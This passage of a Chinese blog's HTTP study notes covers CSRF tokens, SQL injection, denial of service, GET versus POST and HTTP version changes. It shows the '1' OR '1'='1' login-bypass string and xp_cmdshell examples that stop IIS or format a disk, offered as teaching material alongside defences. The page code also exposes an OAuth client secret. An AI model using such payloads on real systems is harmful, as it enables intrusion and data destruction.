<blockquote>
<p>由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址，所以如果要求在访问敏感数据请求时，要求用户浏览器提供不保存在 Cookie 中，并且攻击者无法伪造的数据作为校验，那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中，其内容是一个伪乱数。当客户端通过表单提交请求时，这个伪乱数也一并提交上去以供校验。正常的访问时，客户端浏览器能够正确得到并传回这个伪乱数，而通过 CSRF 传来的欺骗性攻击中，攻击者无从事先得知这个伪乱数的值，服务器端就会因为校验 Token 的值为空或者错误，拒绝这个可疑请求。</p>
</blockquote>
<h2 id="7-4-SQL-注入攻击"><a href="#7-4-SQL-注入攻击" class="headerlink" title="7.4 SQL 注入攻击"></a>7.4 SQL 注入攻击</h2><h3 id="7-4-1-概念"><a href="#7-4-1-概念" class="headerlink" title="7.4.1 概念"></a>7.4.1 概念</h3><p>服务器上的数据库运行非法的 SQL 语句。</p>
<h3 id="7-4-2-攻击原理"><a href="#7-4-2-攻击原理" class="headerlink" title="7.4.2 攻击原理"></a>7.4.2 攻击原理</h3><p>例如一个网站登录验证的 SQL 查询代码为：</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">strSQL = "<span class="keyword">SELECT</span> * <span class="keyword">FROM</span> <span class="keyword">users</span> <span class="keyword">WHERE</span> (<span class="keyword">name</span> = <span class="string">'" + userName + "'</span>) <span class="keyword">and</span> (pw = <span class="string">'"+ passWord +"'</span>);"</span><br></pre></td></tr></table></figure>
<p>如果填入以下内容：</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">userName = "1' OR '1'='1";</span><br><span class="line">passWord = "1' OR '1'='1";</span><br></pre></td></tr></table></figure>
<p>那么 SQL 查询字符串为：</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">strSQL = "<span class="keyword">SELECT</span> * <span class="keyword">FROM</span> <span class="keyword">users</span> <span class="keyword">WHERE</span> (<span class="keyword">name</span> = <span class="string">'1'</span> <span class="keyword">OR</span> <span class="string">'1'</span>=<span class="string">'1'</span>) <span class="keyword">and</span> (pw = <span class="string">'1'</span> <span class="keyword">OR</span> <span class="string">'1'</span>=<span class="string">'1'</span>);"</span><br></pre></td></tr></table></figure>
<p>此时无需验证通过就能执行以下查询：</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">strSQL = "<span class="keyword">SELECT</span> * <span class="keyword">FROM</span> <span class="keyword">users</span>;"</span><br></pre></td></tr></table></figure>
<h3 id="7-4-3-危害"><a href="#7-4-3-危害" class="headerlink" title="7.4.3 危害"></a>7.4.3 危害</h3><ul>
<li>数据表中的数据外泄，例如个人机密数据，账户数据，密码等。</li>
<li>数据结构被黑客探知，得以做进一步攻击（例如 SELECT * FROM sys.tables）。</li>
<li>数据库服务器被攻击，系统管理员账户被窜改（例如 ALTER LOGIN sa WITH PASSWORD=’xxxxxx’）。</li>
<li>获取系统较高权限后，有可能得以在网页加入恶意链接、恶意代码以及 XSS 等。</li>
<li>经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统（例如 xp_cmdshell “net stop iisadmin” 可停止服务器的 IIS 服务）。</li>
<li>破坏硬盘数据，瘫痪全系统（例如 xp_cmdshell “FORMAT C:”）。</li>
</ul>
<h3 id="7-4-4-防范手段"><a href="#7-4-4-防范手段" class="headerlink" title="7.4.4 防范手段"></a>7.4.4 防范手段</h3><ul>
<li>在设计应用程序时，完全使用参数化查询（Parameterized Query）来设计数据访问功能。</li>
<li>在组合 SQL 字符串时，先针对所传入的参数作字符取代（将单引号字符取代为连续 2 个单引号字符）。</li>
<li>如果使用 PHP 开发网页程序的话，亦可打开 PHP 的魔术引号（Magic quote）功能（自动将所有的网页传入参数，将单引号字符取代为连续 2 个单引号字符）。</li>
<li>其他，使用其他更安全的方式连接 SQL 数据库。例如已修正过 SQL 注入问题的数据库连接组件，例如 ASP.NET 的 SqlDataSource 对象或是 LINQ to SQL。</li>
<li>使用 SQL 防注入系统。</li>
</ul>
<h2 id="7-5-拒绝服务攻击"><a href="#7-5-拒绝服务攻击" class="headerlink" title="7.5 拒绝服务攻击"></a>7.5 拒绝服务攻击</h2><h3 id="7-5-1-概念"><a href="#7-5-1-概念" class="headerlink" title="7.5.1 概念"></a>7.5.1 概念</h3><ul>
<li>拒绝服务攻击（<code>denial-of-service attack</code>，<code>DoS</code>），亦称洪水攻击，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。</li>
<li>分布式拒绝服务攻击（<code>distributed denial-of-service attack</code>，<code>DDoS</code>），指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。</li>
</ul>
<blockquote>
<p><a href="https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A" target="_blank" rel="noopener">维基百科：拒绝服务攻击</a></p>
</blockquote>
<h1 id="八、GET-和-POST-的区别"><a href="#八、GET-和-POST-的区别" class="headerlink" title="八、GET 和 POST 的区别"></a>八、GET 和 POST 的区别</h1><h2 id="8-1-参数"><a href="#8-1-参数" class="headerlink" title="8.1 参数"></a>8.1 参数</h2><ul>
<li>GET 和 POST 的请求都能使用额外的参数，但是 GET 的参数是以查询字符串出现在 URL 中，而 POST 的参数存储在内容实体中。</li>
<li>GET 的传参方式相比于 POST 安全性较差，因为 GET 传的参数在 URL 中是可见的，可能会泄露私密信息。并且 GET 只支持 ASCII 字符，如果参数为中文则可能会出现乱码，而 POST 支持标准字符集。</li>
</ul>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">GET /test/demo_form.asp?name1=value1&amp;name2=value2 HTTP/1.1</span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">POST /test/demo_form.asp HTTP/1.1</span><br><span class="line">Host: w3schools.com</span><br><span class="line">name1=value1&amp;name2=value2</span><br></pre></td></tr></table></figure>
<h2 id="8-2-安全"><a href="#8-2-安全" class="headerlink" title="8.2 安全"></a>8.2 安全</h2><ul>
<li>安全的 HTTP 方法不会改变服务器状态，也就是说它只是可读的。</li>
<li>GET 方法是安全的，而 POST 却不是，因为 POST 的目的是传送实体主体内容，这个内容可能是用户上传的表单数据，上传成功之后，服务器可能把这个数据存储到数据库中，因此状态也就发生了改变。</li>
<li>安全的方法除了 GET 之外还有：<code>HEAD</code>、<code>OPTIONS</code>。</li>
<li>不安全的方法除了 POST 之外还有 <code>PUT</code>、<code>DELETE</code>。</li>
</ul>
<h2 id="8-3-幂等性"><a href="#8-3-幂等性" class="headerlink" title="8.3 幂等性"></a>8.3 幂等性</h2><ul>
<li>幂等的 HTTP 方法，同样的请求被执行一次与连续执行多次的效果是一样的，服务器的状态也是一样的。换句话说就是，幂等方法不应该具有副作用（统计用途除外）。在正确实现的条件下，GET，HEAD，PUT 和 DELETE 等方法都是幂等的，而 POST 方法不是。所有的安全方法也都是幂等的。</li>
<li><code>GET /pageX HTTP/1.1</code> 是幂等的。连续调用多次，客户端接收到的结果都是一样的：</li>
</ul>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">GET /pageX HTTP/1.1</span><br><span class="line">GET /pageX HTTP/1.1</span><br><span class="line">GET /pageX HTTP/1.1</span><br><span class="line">GET /pageX HTTP/1.1</span><br></pre></td></tr></table></figure>
<ul>
<li><code>POST /add_row HTTP/1.1</code> 不是幂等的。如果调用多次，就会增加多行记录：</li>
</ul>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">POST /add_row HTTP/1.1</span><br><span class="line">POST /add_row HTTP/1.1   -&gt; Adds a 2nd row</span><br><span class="line">POST /add_row HTTP/1.1   -&gt; Adds a 3rd row</span><br></pre></td></tr></table></figure>
<ul>
<li><code>DELETE /idX/delete HTTP/1.1</code> 是幂等的，即便是不同请求之间接收到的状态码不一样：</li>
</ul>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">DELETE /idX/delete HTTP/1.1   -&gt; Returns 200 if idX exists</span><br><span class="line">DELETE /idX/delete HTTP/1.1   -&gt; Returns 404 as it just got deleted</span><br><span class="line">DELETE /idX/delete HTTP/1.1   -&gt; Returns 404</span><br></pre></td></tr></table></figure>
<h2 id="8-4-可缓存"><a href="#8-4-可缓存" class="headerlink" title="8.4 可缓存"></a>8.4 可缓存</h2><blockquote>
<p>如果要对响应进行缓存，需要满足以下条件：</p>
</blockquote>
<ul>
<li>请求报文的 <code>HTTP</code> 方法本身是可缓存的，包括 <code>GET</code> 和 <code>HEAD</code>，但是 <code>PUT</code> 和 <code>DELETE</code> 不可缓存，<code>POST</code> 在多数情况下不可缓存的。</li>
<li>响应报文的状态码是可缓存的，包括：<code>200</code>, <code>203</code>, <code>204</code>, <code>206</code>, <code>300</code>,<code>301</code>, <code>404</code>, <code>405</code>, <code>410</code>, <code>414</code>, and 501。</li>
<li>响应报文的 <code>Cache-Control</code> 首部字段没有指定不进行缓存。</li>
</ul>
<h2 id="8-5-XMLHttpRequest"><a href="#8-5-XMLHttpRequest" class="headerlink" title="8.5 XMLHttpRequest"></a>8.5 XMLHttpRequest</h2><ul>
<li>为了阐述 <code>POST</code> 和 <code>GET</code> 的另一个区别，需要先了解 <code>XMLHttpRequest</code>：</li>
</ul>
<blockquote>
<p>XMLHttpRequest 是一个 API，它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式，并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。</p>
</blockquote>
<ul>
<li>在使用 <code>XMLHttpRequest</code> 的 <code>POST</code> 方法时，浏览器会先发送 <code>Header</code> 再发送 <code>Data</code>。但并不是所有浏览器会这么做，例如火狐就不会。</li>
</ul>
<h1 id="九、各版本比较"><a href="#九、各版本比较" class="headerlink" title="九、各版本比较"></a>九、各版本比较</h1><h2 id="9-1-HTTP-1-0-与-HTTP-1-1-的区别"><a href="#9-1-HTTP-1-0-与-HTTP-1-1-的区别" class="headerlink" title="9.1 HTTP/1.0 与 HTTP/1.1 的区别"></a>9.1 HTTP/1.0 与 HTTP/1.1 的区别</h2><ul>
<li><code>HTTP/1.1</code> 默认是持久连接</li>
<li><code>HTTP/1.1</code> 支持管线化处理</li>
<li><code>HTTP/1.1</code> 支持虚拟主机</li>
<li><code>HTTP/1.1</code> 新增状态码 <code>100</code></li>
<li><code>HTTP/1.1</code> 只是分块传输编码</li>
<li><code>HTTP/1.1</code> 新增缓存处理指令 <code>max-age</code></li>
</ul>
<h2 id="9-2-HTTP-1-1-与-HTTP-2-0-的区别"><a href="#9-2-HTTP-1-1-与-HTTP-2-0-的区别" class="headerlink" title="9.2 HTTP/1.1 与 HTTP/2.0 的区别"></a>9.2 HTTP/1.1 与 HTTP/2.0 的区别</h2><h3 id="9-2-1-多路复用"><a href="#9-2-1-多路复用" class="headerlink" title="9.2.1 多路复用"></a>9.2.1 多路复用</h3><ul>
<li><code>HTTP/2.0</code> 使用多路复用技术，使用同一个 <code>TCP</code> 连接来处理多个请求</li>
</ul>
<h3 id="9-2-2-首部压缩"><a href="#9-2-2-首部压缩" class="headerlink" title="9.2.2 首部压缩"></a>9.2.2 首部压缩</h3><blockquote>
<p>HTTP/1.1 的首部带有大量信息，而且每次都要重复发送。HTTP/2.0 要求通讯双方各自缓存一份首部字段表，从而避免了重复传输。</p>
</blockquote>
<h3 id="9-2-3-服务端推送"><a href="#9-2-3-服务端推送" class="headerlink" title="9.2.3 服务端推送"></a>9.2.3 服务端推送</h3><ul>
<li>在客户端请求一个资源时，会把相关的资源一起发送给客户端，客户端就不需要再次发起请求了。例如客户端请求 <code>index.html</code> 页面，服务端就把 <code>index.js</code> 一起发给客户端</li>
</ul>
<h3 id="9-2-4-二进制格式"><a href="#9-2-4-二进制格式" class="headerlink" title="9.2.4 二进制格式"></a>9.2.4 二进制格式</h3><ul>
<li><code>HTTP/1.1</code> 的解析是基于文本的，而 <code>HTTP/2.0</code> 采用二进制格式</li>
</ul>

      </div>
    
  </div>

</article>

<button class="assist-btn2 circle" id="assist_btn2" title="点亮屏幕" style="left: 27px; top: 152px;">
  <i class="iconfont" style="display:inline-block;color:red;width:20px;height:20px;">&#xe61d;</i>
</button>
<button class="assist-btn1 circle" id="assist_btn1" title="关闭屏幕亮度" style="left: 27px; top: 152px;">
  <i class="iconfont toc-title" style="display:inline-block;color:red;width:20px;height:20px;">&#xe61d;</i>
</button>


<script src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script>	

<script src="https://my.openwrite.cn/js/readmore.js" type="text/javascript"></script>
<script>
  const btw = new BTWPlugin();
  btw.init({
    id: "container",
    blogId: "22699-1592137983091-414",
    name: "前端进阶之旅",
    qrcode: "https://poetries1.gitee.io/img-repo/2020/06/qrcode.jpg",
    keyword: "3a3b3c",
  });
</script>

<script type="text/javascript">

// white theme
var body = {color: "#555", background: "#000"};
var a_tag = {color: "#222"};
var header = { background: "#222"};
var logo_line_i = {background: "#222"};
// var post_code = {background: "#eee", color: "#222"};

function switch_theme() {
 $("body").css(body);
 $("a:not('.links-of-author-item a, .site-state-item a, .site-state-posts a, .feed-link a, .motion-element a, .post-tags a, .show-commit-cls a, #donate_board a')").css(a_tag);
 $(".header, .footer").css(header);
 $(".logo-line-before i, .logo-line-after i").css(logo_line_i);
 //$(".post code").css(post_code);
 $("#idhyt-surprise-ball #idhyt-surprise-ball-animation .drag").css(a_tag);
 $(".post-title-link, .posts-expand .post-meta, .post-comments-count, .disqus-comment-count, .post-category a, .post-nav-next a, .post-nav-item a").css(a_tag);
 
 // $("code").css({color: '#c5c8c6', background: '#1d1f21'});
 //$("#assist_btn1").hide(1500);
}

$(function () {
$("#assist_btn2").css("display","none");
 $("#assist_btn1").click(function() {
     switch_theme();
$("div#toc.toc-article").css({
 "background":"#eaeaea",
 "opacity":1
});
$(".toc-article ol").show();
$("#toc.toc-article .toc-title").css("color","#a98602");
$("#assist_btn1").css("display","none");
$("#assist_btn2").css("display","block");
 });
$("#assist_btn2").click(function() {
$("#assist_btn2").css("display","none");
$("#assist_btn1").css("display","block");
$("body").css("background","url(http://www.miaov.com/static/ie/images/news/bg.png)")
     $(".header, .footer").css("background","url(http://www.miaov.com/static/ie/images/news/bg.png)")
$(".toc-article ol").toggle(1000);
 });
});


//背景随机

var Y, O, E, L, B, C, T, z, N, S, A, I;
!function() {
var e = function() {
for (O.clearRect(0, 0, L, B), T = [{
x: 0,
y: .7 * B + C
}, {
x: 0,
y: .7 * B - C
}]; T[1].x < L + C;) t(T[0], T[1])
}, t = function(e, t) {
O.beginPath(), O.moveTo(e.x, e.y), O.lineTo(t.x, t.y);
var n = t.x + (2 * I() - .25) * C,
 r = a(t.y);
O.lineTo(n, r), O.closePath(), N -= S / -50, O.fillStyle = "#" + (127 * A(N) + 128 << 16 | 127 * A(N + S / 3) + 128 << 8 | 127 * A(N + S / 3 * 2) + 128).toString(16), O.fill(), T[0] = T[1], T[1] = {
 x: n,
 y: r
}
}, a = function n(e) {
var t = e + (2 * I() - 1.1) * C;
return t > B || t < 0 ? n(e) : t
};
Y = document.getElementById("evanyou"), O = Y.getContext("2d"), E = window.devicePixelRatio || 1, L = window.innerWidth, B = window.innerHeight, C = 90, z = Math, N = 0, S = 2 * z.PI, A = z.cos, I = z.random, Y.width = L * E, Y.height = B * E, O.scale(E, E), O.globalAlpha = .6, document.onclick = e, document.ontouchstart = e, e()
}()

   
$("#toc-eye").click(function(){
$("#toc.toc-article").toggle(1000);
});

</script>


   
  <div class="text-center donation">
    <div class="inner-donation">
      <span class="btn-donation">支持一下</span>
      <div class="donation-body">
        <div class="tip text-center">扫一扫，支持poetries</div>
        <ul>
        
          <li class="item">
            
              <span>微信扫一扫</span>
            
            <img src="/images/weixin.jpg" alt="">
          </li>
        
          <li class="item">
            
              <span>支付宝扫一扫</span>
            
            <img src="/images/zhifubao.jpg" alt="">
          </li>
        
        </ul>
      </div>
    </div>
  </div>


   
  <div class="box-prev-next clearfix">
    <a class="show pull-left" href="/2018/02/26/http-2/">
        <i class="icon icon-angle-left"></i>
    </a>
    <a class="show pull-right" href="/2018/02/28/nginx-location-match-rules/">
        <i class="icon icon-angle-right"></i>
    </a>
  </div>




</div>


  <a id="backTop" class="back-top">
    <i class="icon-angle-up"></i>
  </a>




  <div class="modal" id="modal">
  <span id="cover" class="cover hide"></span>
  <div id="modal-dialog" class="modal-dialog hide-dialog">
    <div class="modal-header">
      <span id="close" class="btn-close">关闭</span>
    </div>
    <hr>
    <div class="modal-body">
      <ul class="list-toolbox">
        
          <li class="item-toolbox">
            <a
              class="CIRCLE"
              href="/archives/"
              rel="noopener noreferrer"
              target="_self"
              >
              博客
            </a>
          </li>
        
          <li class="item-toolbox">
            <a
              class="CIRCLE"
              href="/categories/"
              rel="noopener noreferrer"
              target="_self"
              >
              分类
            </a>
          </li>
        
          <li class="item-toolbox">
            <a
              class="CIRCLE"
              href="/tags/"
              rel="noopener noreferrer"
              target="_self"
              >
              标签
            </a>
          </li>
        
          <li class="item-toolbox">
            <a
              class="CIRCLE"
              href="/search/"
              rel="noopener noreferrer"
              target="_self"
              >
              搜索
            </a>
          </li>
        
          <li class="item-toolbox">
            <a
              class="CIRCLE"
              href="/link/"
              rel="noopener noreferrer"
              target="_self"
              >
              友链
            </a>
          </li>
        
          <li class="item-toolbox">
            <a
              class="CIRCLE"
              href="/about/"
              rel="noopener noreferrer"
              target="_self"
              >
              关于
            </a>
          </li>
        
      </ul>

    </div>
  </div>
</div>



  
      <div class="fexo-comments comments-post">
    

    

    
    

    

    
    

    

<!-- Gitalk评论插件通用代码 -->
<div id="gitalk-container"></div>

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.css">
<script src="https://cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.min.js"></script>
<script>
const gitalk = new Gitalk({
  clientID: '5567a2c4abb858009d96',
  clientSecret: 'b9039ec056cf5c2346b3cdb63308a28c163f91e5',
  repo: 'poetries.github.io',
  owner: 'poetries',
  // 在这里设置一下截取前50个字符串, 这是因为 github 对 label 的长度有了要求, 如果超过
  // 50个字符串则会报错.
  // id: location.pathname.split('/').pop().substring(0, 49),
  id: location.pathname,
  admin: ['poetries'],
  // facebook-like distraction free mode
  distractionFreeMode: false
})
gitalk.render('gitalk-container')
</script>
<!-- Gitalk代码结束 -->



  </div>

  

  <script type="text/javascript">
  function loadScript(url, callback) {
    var script = document.createElement('script')
    script.type = 'text/javascript';

    if (script.readyState) { //IE
      script.onreadystatechange = function() {
        if (script.readyState == 'loaded' ||
          script.readyState == 'complete') {
          script.onreadystatechange = null;
          callback();
        }
      };
    } else { //Others
      script.onload = function() {
        callback();
      };
    }

    script.src = url;
    document.getElementsByTagName('head')[0].appendChild(script);
  }

  window.onload = function() {
    loadScript('/js/bundle.js?235683', function() {
      // load success
    });
  }
</script>


  <!-- 页面点击小红心 -->
  <script type="text/javascript" src="/js/clicklove.js"></script>
 
  
</body>
</html>
